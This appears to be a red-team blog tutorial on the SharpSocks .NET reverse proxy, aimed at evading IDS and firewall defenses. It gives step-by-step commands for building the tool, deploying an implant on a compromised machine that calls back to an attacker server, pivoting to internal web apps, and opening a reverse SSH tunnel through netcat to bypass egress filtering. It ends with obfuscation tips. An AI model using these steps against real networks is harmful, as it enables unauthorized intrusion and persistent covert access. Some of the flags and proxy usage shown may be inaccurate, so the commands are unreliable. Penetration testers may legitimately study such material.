Welcome to another exciting article, fellow pen testers and red teamers! In today’s piece, we’ll dive deep into SharpSocks, a powerful .NET-based proxy designed to aid us in our red teaming and network penetration testing endeavors. As professional hackers, we understand the importance of utilizing advanced and stealthy tools to achieve our objectives. SharpSocks is just that—a potent weapon in our arsenal to overcome network defenses and maintain persistence.

What is SharpSocks?

SharpSocks is a .NET-based proxy server created by the talented folks at Nettitude Labs, specifically designed for red teaming operations and network penetration testing. It provides an encrypted communication channel, allowing us to create resilient and stealthy connections to target networks while evading common network defenses, such as intrusion detection systems (IDS) and firewalls.

SharpSocks operates as a reverse HTTP proxy, meaning it is installed on a compromised machine within the target network and then communicates back to a server controlled by us, the attackers. This setup enables us to bypass network restrictions, granting us access to internal resources while maintaining a low profile.

SharpSocks Features and Benefits

SharpSocks boasts a plethora of features that make it an ideal tool for red teaming and network penetration testing:

  • Encryption: SharpSocks uses symmetric encryption to secure communications between the implant and the server. This encryption ensures that our activities are concealed, and sensitive data remains protected from prying eyes.
  • Protocol Obfuscation: SharpSocks employs HTTP as its transport protocol, which is typically allowed through firewalls and not closely monitored. It also mimics legitimate web traffic, making it difficult for network defenders to detect our activities.
  • Proxy Chaining: SharpSocks supports proxy chaining, allowing us to create multiple hops to further obfuscate our connection and evade detection.
  • Resilient Connection: SharpSocks is designed to handle unstable network conditions and automatically reconnects if the connection is lost, ensuring we maintain persistence within the target network.
  • Cross-Platform Compatibility: As a .NET-based tool, SharpSocks can run on both Windows and Linux systems, providing us with flexibility in our operations.

Setting Up SharpSocks

Now that we’ve covered the basics, let’s dive into setting up SharpSocks for our red teaming and penetration testing adventures.

First, we’ll need to download the latest release of SharpSocks from its GitHub repository:

git clone https://github.com/nettitude/SharpSocks.git

Next, compile the solution using Visual Studio or the dotnet CLI:

cd SharpSocks
dotnet build

After compiling, we should have two executables: SharpSocksServer and SharpSocksImplant. Let’s configure the SharpSocks server:

cd SharpSocksServer/bin/Debug/net5.0
./SharpSocksServer -l 8080 -p MySecretPassword123!

In the command above, -l specifies the listening port (8080), and -p sets the password used for encrypting communications between the server and the implant.

Now that our server is up and running, let’s deploy the implant to our compromised machine within the target network:

cd SharpSocksImplant/bin/Debug/net5.0
./SharpSocksImplant -u http://your-server-ip:8080 -p MySecretPassword123!

In the command above, -u specifies the URL of our SharpSocks server, and -p sets the password used for encrypting communications between the server and the implant.

Real-World Use Cases and Examples

Now that we’ve set up SharpSocks, let’s explore some real-world use cases and examples of how we can leverage this fantastic tool in our red teaming and network penetration testing efforts.

Pivoting to Internal Resources

One of the primary benefits of SharpSocks is its ability to grant us access to internal resources within a target network. Let’s say we have already compromised a machine in the target network and installed the SharpSocks implant. Now, we want to access an internal web application that is not exposed to the internet.

To do this, we can use SharpSocks as our proxy:

export http_proxy=http://your-server-ip:8080
export https_proxy=http://your-server-ip:8080
curl http://internal-webapp/

In the example above, we’ve set our environment variables to use the SharpSocks proxy and then used curl to access the internal web application.

Bypassing Network Restrictions

Suppose we’ve compromised a machine within a target network with strict egress filtering, preventing us from establishing a direct connection to our command and control (C2) server. In this case, we can use SharpSocks to bypass these restrictions and maintain control over our compromised machine.

First, set up a reverse SSH tunnel using the SharpSocks proxy:

ssh -o "ProxyCommand nc -X connect -x your-server-ip:8080 %h %p" -R 2222:localhost:22 user@your-server-ip

In this example, we’re using nc with the -X and -x options to specify our SharpSocks proxy, and %h %p as placeholders for the hostname and port. The -R option creates a reverse SSH tunnel from the compromised machine to our server.

Now, on our server, we can access the compromised machine via SSH:

ssh -p 2222 user@localhost

Tips and Tricks for Optimal Usage

Here are some tips and tricks to help you make the most of SharpSocks during your red teaming and network penetration testing engagements:

  • Integrate SharpSocks with other tools: SharpSocks can be integrated with various other tools, such as Metasploit and Cobalt Strike, to leverage its proxy capabilities in conjunction with these powerful frameworks.
  • Monitor your server logs: Keep an eye on your SharpSocks server logs for any anomalies or connection issues. This monitoring can help you troubleshoot issues and detect potential defensive countermeasures employed by the target.
  • Test different obfuscation techniques: Experiment with different HTTP headers, user agents, and other obfuscation techniques to make your SharpSocks traffic even more challenging to detect.

Conclusion

SharpSocks is an invaluable tool in our red teaming and network penetration testing toolkit. With its encrypted communications, protocol obfuscation, and ability to pivot to internal resources, it’s an essential asset for any professional hacker looking to maintain persistence and evade network defenses. By leveraging SharpSocks in conjunction with other powerful tools, we can continue to push the boundaries of our craft and stay one step ahead of the defenders.

Happy hacking!